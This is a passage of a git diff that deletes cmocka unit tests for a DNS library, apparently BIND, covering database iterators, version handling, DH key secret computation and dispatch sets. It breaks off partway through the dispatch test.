-	UNUSED(state);
-
-	test_walk("testdata/dbiterator/zone2.data", 33);
-}
-
-/* reverse: walk database backwards */
-static void
-test_reverse(const char *filename) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-	dns_dbnode_t *node = NULL;
-	dns_name_t *name;
-	dns_fixedname_t f;
-	int i = 0;
-
-	name = dns_fixedname_initname(&f);
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (result = dns_dbiterator_last(iter); result == ISC_R_SUCCESS;
-	     result = dns_dbiterator_prev(iter))
-	{
-		result = dns_dbiterator_current(iter, &node, name);
-		if (result == DNS_R_NEWORIGIN) {
-			result = ISC_R_SUCCESS;
-		}
-		assert_int_equal(result, ISC_R_SUCCESS);
-		dns_db_detachnode(db, &node);
-		i++;
-	}
-
-	assert_int_equal(i, 12);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-reverse(void **state) {
-	UNUSED(state);
-
-	test_reverse("testdata/dbiterator/zone1.data");
-}
-
-static void
-reverse_nsec3(void **state) {
-	UNUSED(state);
-
-	test_reverse("testdata/dbiterator/zone2.data");
-}
-
-/* seek: walk database starting at a particular node */
-static void
-test_seek_node(const char *filename, int nodes) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-	dns_dbnode_t *node = NULL;
-	dns_name_t *name, *seekname;
-	dns_fixedname_t f1, f2;
-	int i = 0;
-
-	name = dns_fixedname_initname(&f1);
-	seekname = dns_fixedname_initname(&f2);
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = make_name("c." TEST_ORIGIN, seekname);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dbiterator_seek(iter, seekname);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	while (result == ISC_R_SUCCESS) {
-		result = dns_dbiterator_current(iter, &node, name);
-		if (result == DNS_R_NEWORIGIN) {
-			result = ISC_R_SUCCESS;
-		}
-		assert_int_equal(result, ISC_R_SUCCESS);
-		dns_db_detachnode(db, &node);
-		result = dns_dbiterator_next(iter);
-		i++;
-	}
-
-	assert_int_equal(i, nodes);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-seek_node(void **state) {
-	UNUSED(state);
-
-	test_seek_node("testdata/dbiterator/zone1.data", 9);
-}
-
-static void
-seek_node_nsec3(void **state) {
-	UNUSED(state);
-
-	test_seek_node("testdata/dbiterator/zone2.data", 30);
-}
-
-/*
- * seek_emty: walk database starting at an empty nonterminal node
- * (should fail)
- */
-static void
-test_seek_empty(const char *filename) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-	dns_name_t *seekname;
-	dns_fixedname_t f1;
-
-	seekname = dns_fixedname_initname(&f1);
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = make_name("d." TEST_ORIGIN, seekname);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dbiterator_seek(iter, seekname);
-	assert_int_equal(result, DNS_R_PARTIALMATCH);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-seek_empty(void **state) {
-	UNUSED(state);
-
-	test_seek_empty("testdata/dbiterator/zone1.data");
-}
-
-static void
-seek_empty_nsec3(void **state) {
-	UNUSED(state);
-
-	test_seek_empty("testdata/dbiterator/zone2.data");
-}
-
-/*
- * seek_nx: walk database starting at a nonexistent node
- */
-static void
-test_seek_nx(const char *filename) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-	dns_name_t *seekname;
-	dns_fixedname_t f1;
-
-	seekname = dns_fixedname_initname(&f1);
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = make_name("nonexistent." TEST_ORIGIN, seekname);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dbiterator_seek(iter, seekname);
-	assert_int_equal(result, DNS_R_PARTIALMATCH);
-
-	result = make_name("nonexistent.", seekname);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dbiterator_seek(iter, seekname);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-seek_nx(void **state) {
-	UNUSED(state);
-
-	test_seek_nx("testdata/dbiterator/zone1.data");
-}
-
-static void
-seek_nx_nsec3(void **state) {
-	UNUSED(state);
-
-	test_seek_nx("testdata/dbiterator/zone2.data");
-}
-
-/*
- * XXX:
- * dns_dbiterator API calls that are not yet part of this unit test:
- *
- * dns_dbiterator_pause
- * dns_dbiterator_origin
- * dns_dbiterator_setcleanmode
- */
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(create, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(create_nsec3, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(walk, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(walk_nsec3, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(reverse, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(reverse_nsec3, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(seek_node, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(seek_node_nsec3, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(seek_empty, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(seek_empty_nsec3, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(seek_nx, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(seek_nx_nsec3, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dbversion_test.c b/lib/dns/tests/dbversion_test.c
deleted file mode 100644
index d90316504f..0000000000
--- a/lib/dns/tests/dbversion_test.c
+++ /dev/null
@@ -1,497 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/file.h>
-#include <isc/result.h>
-#include <isc/serial.h>
-#include <isc/stdtime.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/nsec3.h>
-#include <dns/rdatalist.h>
-#include <dns/rdataset.h>
-#include <dns/rdatasetiter.h>
-
-#include "dnstest.h"
-
-static char tempname[11] = "dtXXXXXXXX";
-static dns_db_t *db1 = NULL, *db2 = NULL;
-static dns_dbversion_t *v1 = NULL, *v2 = NULL;
-
-/*
- * The code below enables us to trap assertion failures for testing
- * purposes. local_callback() is set as the callback function for
- * isc_assertion_failed(). It calls mock_assert() so that CMOCKA
- * will be able to see it, then returns to the calling function via
- * longjmp() so that the abort() call in isc_assertion_failed() will
- * never be reached. Use check_assertion() to check for assertions
- * instead of expect_assert_failure().
- */
-jmp_buf assertion;
-
-#define check_assertion(function_call)                        \
-	do {                                                  \
-		const int r = setjmp(assertion);              \
-		if (r == 0) {                                 \
-			expect_assert_failure(function_call); \
-		}                                             \
-	} while (false);
-
-static void
-local_callback(const char *file, int line, isc_assertiontype_t type,
-	       const char *cond) {
-	UNUSED(type);
-
-	mock_assert(1, cond, file, line);
-	longjmp(assertion, 1);
-}
-
-static int
-_setup(void **state) {
-	isc_result_t res;
-
-	UNUSED(state);
-
-	isc_assertion_setcallback(local_callback);
-
-	res = dns_test_begin(NULL, false);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_create(dt_mctx, "rbt", dns_rootname, dns_dbtype_zone,
-			    dns_rdataclass_in, 0, NULL, &db1);
-	assert_int_equal(res, ISC_R_SUCCESS);
-	dns_db_newversion(db1, &v1);
-	assert_non_null(v1);
-
-	res = dns_db_create(dt_mctx, "rbt", dns_rootname, dns_dbtype_zone,
-			    dns_rdataclass_in, 0, NULL, &db2);
-	assert_int_equal(res, ISC_R_SUCCESS);
-	dns_db_newversion(db2, &v2);
-	assert_non_null(v1);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	if (strcmp(tempname, "dtXXXXXXXX") != 0) {
-		unlink(tempname);
-	}
-
-	if (v1 != NULL) {
-		dns_db_closeversion(db1, &v1, false);
-		assert_null(v1);
-	}
-	if (db1 != NULL) {
-		dns_db_detach(&db1);
-		assert_null(db1);
-	}
-
-	if (v2 != NULL) {
-		dns_db_closeversion(db2, &v2, false);
-		assert_null(v2);
-	}
-	if (db2 != NULL) {
-		dns_db_detach(&db2);
-		assert_null(db2);
-	}
-
-	dns_test_end();
-
-	return (0);
-}
-
-/*
- * Check dns_db_attachversion() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-attachversion(void **state) {
-	dns_dbversion_t *v = NULL;
-
-	UNUSED(state);
-
-	dns_db_attachversion(db1, v1, &v);
-	assert_ptr_equal(v, v1);
-	dns_db_closeversion(db1, &v, false);
-	assert_null(v);
-
-	check_assertion(dns_db_attachversion(db1, v2, &v));
-}
-
-/*
- * Check dns_db_closeversion() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-closeversion(void **state) {
-	UNUSED(state);
-
-	assert_non_null(v1);
-	dns_db_closeversion(db1, &v1, false);
-	assert_null(v1);
-
-	check_assertion(dns_db_closeversion(db1, &v2, false));
-}
-
-/*
- * Check dns_db_find() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-find(void **state) {
-	isc_result_t res;
-	dns_rdataset_t rdataset;
-	dns_fixedname_t fixed;
-	dns_name_t *name = NULL;
-
-	UNUSED(state);
-
-	name = dns_fixedname_initname(&fixed);
-
-	dns_rdataset_init(&rdataset);
-	res = dns_db_find(db1, dns_rootname, v1, dns_rdatatype_soa, 0, 0, NULL,
-			  name, &rdataset, NULL);
-	assert_int_equal(res, DNS_R_NXDOMAIN);
-
-	if (dns_rdataset_isassociated(&rdataset)) {
-		dns_rdataset_disassociate(&rdataset);
-	}
-
-	dns_rdataset_init(&rdataset);
-	check_assertion((void)dns_db_find(db1, dns_rootname, v2,
-					  dns_rdatatype_soa, 0, 0, NULL, name,
-					  &rdataset, NULL));
-}
-
-/*
- * Check dns_db_allrdatasets() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-allrdatasets(void **state) {
-	isc_result_t res;
-	dns_dbnode_t *node = NULL;
-	dns_rdatasetiter_t *iterator = NULL;
-
-	UNUSED(state);
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_allrdatasets(db1, node, v1, 0, &iterator);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	check_assertion(dns_db_allrdatasets(db1, node, v2, 0, &iterator));
-
-	dns_rdatasetiter_destroy(&iterator);
-	assert_null(iterator);
-
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-}
-
-/*
- * Check dns_db_findrdataset() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-findrdataset(void **state) {
-	isc_result_t res;
-	dns_rdataset_t rdataset;
-	dns_dbnode_t *node = NULL;
-
-	UNUSED(state);
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	dns_rdataset_init(&rdataset);
-	res = dns_db_findrdataset(db1, node, v1, dns_rdatatype_soa, 0, 0,
-				  &rdataset, NULL);
-	assert_int_equal(res, ISC_R_NOTFOUND);
-
-	if (dns_rdataset_isassociated(&rdataset)) {
-		dns_rdataset_disassociate(&rdataset);
-	}
-
-	dns_rdataset_init(&rdataset);
-	check_assertion(dns_db_findrdataset(db1, node, v2, dns_rdatatype_soa, 0,
-					    0, &rdataset, NULL));
-
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-}
-
-/*
- * Check dns_db_deleterdataset() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-deleterdataset(void **state) {
-	isc_result_t res;
-	dns_dbnode_t *node = NULL;
-
-	UNUSED(state);
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_deleterdataset(db1, node, v1, dns_rdatatype_soa, 0);
-	assert_int_equal(res, DNS_R_UNCHANGED);
-
-	check_assertion(
-		dns_db_deleterdataset(db1, node, v2, dns_rdatatype_soa, 0));
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-}
-
-/*
- * Check dns_db_subtractrdataset() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-subtract(void **state) {
-	isc_result_t res;
-	dns_rdataset_t rdataset;
-	dns_rdatalist_t rdatalist;
-	dns_dbnode_t *node = NULL;
-
-	UNUSED(state);
-
-	dns_rdataset_init(&rdataset);
-	dns_rdatalist_init(&rdatalist);
-
-	rdatalist.rdclass = dns_rdataclass_in;
-
-	res = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_subtractrdataset(db1, node, v1, &rdataset, 0, NULL);
-	assert_int_equal(res, DNS_R_UNCHANGED);
-
-	if (dns_rdataset_isassociated(&rdataset)) {
-		dns_rdataset_disassociate(&rdataset);
-	}
-
-	dns_rdataset_init(&rdataset);
-	res = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	check_assertion(
-		dns_db_subtractrdataset(db1, node, v2, &rdataset, 0, NULL));
-
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-}
-
-/*
- * Check dns_db_dump() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-dump(void **state) {
-	isc_result_t res;
-	FILE *f = NULL;
-
-	UNUSED(state);
-
-	res = isc_file_openunique(tempname, &f);
-	fclose(f);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_dump(db1, v1, tempname);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	check_assertion(dns_db_dump(db1, v2, tempname));
-}
-
-/*
- * Check dns_db_addrdataset() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-addrdataset(void **state) {
-	isc_result_t res;
-	dns_rdataset_t rdataset;
-	dns_dbnode_t *node = NULL;
-	dns_rdatalist_t rdatalist;
-
-	UNUSED(state);
-
-	dns_rdataset_init(&rdataset);
-	dns_rdatalist_init(&rdatalist);
-
-	rdatalist.rdclass = dns_rdataclass_in;
-
-	res = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_addrdataset(db1, node, v1, 0, &rdataset, 0, NULL);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	check_assertion(
-		dns_db_addrdataset(db1, node, v2, 0, &rdataset, 0, NULL));
-
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-}
-
-/*
- * Check dns_db_getnsec3parameters() passes with matching db and version,
- * and asserts with mis-matching db and version.
- */
-static void
-getnsec3parameters(void **state) {
-	isc_result_t res;
-	dns_hash_t hash;
-	uint8_t flags;
-	uint16_t iterations;
-	unsigned char salt[DNS_NSEC3_SALTSIZE];
-	size_t salt_length = sizeof(salt);
-
-	UNUSED(state);
-
-	res = dns_db_getnsec3parameters(db1, v1, &hash, &flags, &iterations,
-					salt, &salt_length);
-	assert_int_equal(res, ISC_R_NOTFOUND);
-
-	check_assertion(dns_db_getnsec3parameters(
-		db1, v2, &hash, &flags, &iterations, salt, &salt_length));
-}
-
-/*
- * Check dns_db_resigned() passes with matching db and version, and
- * asserts with mis-matching db and version.
- */
-static void
-resigned(void **state) {
-	isc_result_t res;
-	dns_rdataset_t rdataset, added;
-	dns_dbnode_t *node = NULL;
-	dns_rdatalist_t rdatalist;
-	dns_rdata_rrsig_t rrsig;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	isc_buffer_t b;
-	unsigned char buf[1024];
-
-	UNUSED(state);
-
-	/*
-	 * Create a dummy RRSIG record and set a resigning time.
-	 */
-	dns_rdataset_init(&added);
-	dns_rdataset_init(&rdataset);
-	dns_rdatalist_init(&rdatalist);
-	isc_buffer_init(&b, buf, sizeof(buf));
-
-	DNS_RDATACOMMON_INIT(&rrsig, dns_rdatatype_rrsig, dns_rdataclass_in);
-	rrsig.covered = dns_rdatatype_a;
-	rrsig.algorithm = 100;
-	rrsig.labels = 0;
-	rrsig.originalttl = 0;
-	rrsig.timeexpire = 3600;
-	rrsig.timesigned = 0;
-	rrsig.keyid = 0;
-	dns_name_init(&rrsig.signer, NULL);
-	dns_name_clone(dns_rootname, &rrsig.signer);
-	rrsig.siglen = 0;
-	rrsig.signature = NULL;
-
-	res = dns_rdata_fromstruct(&rdata, dns_rdataclass_in,
-				   dns_rdatatype_rrsig, &rrsig, &b);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	rdatalist.rdclass = dns_rdataclass_in;
-	rdatalist.type = dns_rdatatype_rrsig;
-	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-
-	res = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	rdataset.attributes |= DNS_RDATASETATTR_RESIGN;
-	rdataset.resign = 7200;
-
-	res = dns_db_findnode(db1, dns_rootname, false, &node);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	res = dns_db_addrdataset(db1, node, v1, 0, &rdataset, 0, &added);
-	assert_int_equal(res, ISC_R_SUCCESS);
-
-	dns_db_detachnode(db1, &node);
-	assert_null(node);
-
-	check_assertion(dns_db_resigned(db1, &added, v2));
-
-	dns_db_resigned(db1, &added, v1);
-
-	dns_rdataset_disassociate(&added);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(dump, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(find, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(allrdatasets, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(findrdataset, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(deleterdataset, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(subtract, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(addrdataset, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(getnsec3parameters, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(resigned, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(attachversion, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(closeversion, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dh_test.c b/lib/dns/tests/dh_test.c
deleted file mode 100644
index 1f82fa5747..0000000000
--- a/lib/dns/tests/dh_test.c
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#include <dns/name.h>
-
-#include <dst/result.h>
-
-#include "../dst_internal.h"
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* OpenSSL DH_compute_key() failure */
-static void
-dh_computesecret(void **state) {
-	dst_key_t *key = NULL;
-	isc_buffer_t buf;
-	unsigned char array[1024];
-	isc_result_t result;
-	dns_fixedname_t fname;
-	dns_name_t *name;
-
-	UNUSED(state);
-
-	name = dns_fixedname_initname(&fname);
-	isc_buffer_constinit(&buf, "dh.", 3);
-	isc_buffer_add(&buf, 3);
-	result = dns_name_fromtext(name, &buf, NULL, 0, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dst_key_fromfile(name, 18602, DST_ALG_DH,
-				  DST_TYPE_PUBLIC | DST_TYPE_KEY, "./", dt_mctx,
-				  &key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&buf, array, sizeof(array));
-	result = dst_key_computesecret(key, key, &buf);
-	assert_int_equal(result, DST_R_NOTPRIVATEKEY);
-	result = key->func->computesecret(key, key, &buf);
-	assert_int_equal(result, DST_R_COMPUTESECRETFAILURE);
-
-	dst_key_free(&key);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(dh_computesecret, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dispatch_test.c b/lib/dns/tests/dispatch_test.c
deleted file mode 100644
index 7bd0712d56..0000000000
--- a/lib/dns/tests/dispatch_test.c
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/refcount.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/dispatch.h>
-#include <dns/name.h>
-#include <dns/view.h>
-
-#include "dnstest.h"
-
-dns_dispatchmgr_t *dispatchmgr = NULL;
-dns_dispatchset_t *dset = NULL;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static isc_result_t
-make_dispatchset(unsigned int ndisps) {
-	isc_result_t result;
-	isc_sockaddr_t any;
-	unsigned int attrs;
-	dns_dispatch_t *disp = NULL;
-
-	result = dns_dispatchmgr_create(dt_mctx, &dispatchmgr);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	isc_sockaddr_any(&any);
-	attrs = DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_UDP;
-	result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, &any, 512,
-				     6, 1024, 17, 19, attrs, attrs, &disp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_dispatchset_create(dt_mctx, socketmgr, taskmgr, disp,
-					&dset, ndisps);
-	dns_dispatch_detach(&disp);
-
-	return (result);
-}
-
-static void
-reset(void) {
-	if (dset != NULL) {
-		dns_dispatchset_destroy(&dset);
-	}
-	if (dispatchmgr != NULL) {
-		dns_dispatchmgr_destroy(&dispatchmgr);
-	}
-}
-
-/* create dispatch set */
-static void
-dispatchset_create(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = make_dispatchset(1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	reset();
-
-	result = make_dispatchset(10);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	reset();
-}
-
-/* test dispatch set round-robin */
-static void
-dispatchset_get(void **state) {
-	isc_result_t result;
-	dns_dispatch_t *d1, *d2, *d3, *d4, *d5;
-
-	UNUSED(state);
-
-	result = make_dispatchset(1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	d1 = dns_dispatchset_get(dset);
-	d2 = dns_dispatchset_get(dset);
-	d3 = dns_dispatchset_get(dset);
-	d4 = dns_dispatchset_get(dset);
-	d5 = dns_dispatchset_get(dset);
-
-	assert_ptr_equal(d1, d2);
-	assert_ptr_equal(d2, d3);
-	assert_ptr_equal(d3, d4);
-	assert_ptr_equal(d4, d5);
-
-	reset();
-
-	result = make_dispatchset(4);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	d1 = dns_dispatchset_get(dset);
-	d2 = dns_dispatchset_get(dset);
-	d3 = dns_dispatchset_get(dset);
-	d4 = dns_dispatchset_get(dset);
-	d5 = dns_dispatchset_get(dset);
-
-	assert_ptr_equal(d1, d5);
-	assert_ptr_not_equal(d1, d2);
-	assert_ptr_not_equal(d2, d3);
-	assert_ptr_not_equal(d3, d4);
-	assert_ptr_not_equal(d4, d5);
-
-	reset();
-}
-
-static void
-senddone(isc_task_t *task, isc_event_t *event) {
-	isc_socket_t *sock = event->ev_arg;
-
-	UNUSED(task);
-
-	isc_socket_detach(&sock);
-	isc_event_free(&event);
-}
-
-static void
-nameserver(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	isc_region_t region;
-	isc_socket_t *dummy;
-	isc_socket_t *sock = event->ev_arg;
-	isc_socketevent_t *ev = (isc_socketevent_t *)event;
-	static unsigned char buf1[16];
-	static unsigned char buf2[16];
-
-	memmove(buf1, ev->region.base, 12);
-	memset(buf1 + 12, 0, 4);
-	buf1[2] |= 0x80; /* qr=1 */
-
-	memmove(buf2, ev->region.base, 12);
-	memset(buf2 + 12, 1, 4);
-	buf2[2] |= 0x80; /* qr=1 */
-
-	/*
-	 * send message to be discarded.
-	 */
-	region.base = buf1;
-	region.length = sizeof(buf1);
-	dummy = NULL;
-	isc_socket_attach(sock, &dummy);
-	result = isc_socket_sendto(sock, &region, task, senddone, sock,
-				   &ev->address, NULL);
-	if (result != ISC_R_SUCCESS) {
-		isc_socket_detach(&dummy);
-	}
-
-	/*
-	 * send nextitem message.
-	 */
-	region.base = buf2;
-	region.length = sizeof(buf2);
-	dummy = NULL;
-	isc_socket_attach(sock, &dummy);
-	result = isc_socket_sendto(sock, &region, task, senddone, sock,
-				   &ev->address, NULL);
-	if (result != ISC_R_SUCCESS) {
-		isc_socket_detach(&dummy);
-	}
-	isc_event_free(&event);
-}
-
-static dns_dispatch_t *dispatch = NULL;
-static dns_dispentry_t *dispentry = NULL;
-static atomic_bool first = ATOMIC_VAR_INIT(true);
-static isc_sockaddr_t local;
-static atomic_uint_fast32_t responses;
-
-static void
-response(isc_task_t *task, isc_event_t *event) {
-	dns_dispatchevent_t *devent = (dns_dispatchevent_t *)event;
-	bool exp_true = true;
-
-	UNUSED(task);
-
-	atomic_fetch_add_relaxed(&responses, 1);
-	if (atomic_compare_exchange_strong(&first, &exp_true, false)) {
-		isc_result_t result = dns_dispatch_getnext(dispentry, &devent);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	} else {
-		dns_dispatch_removeresponse(&dispentry, &devent);
-		isc_app_shutdown();
-	}
-}
-
-static void
-startit(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
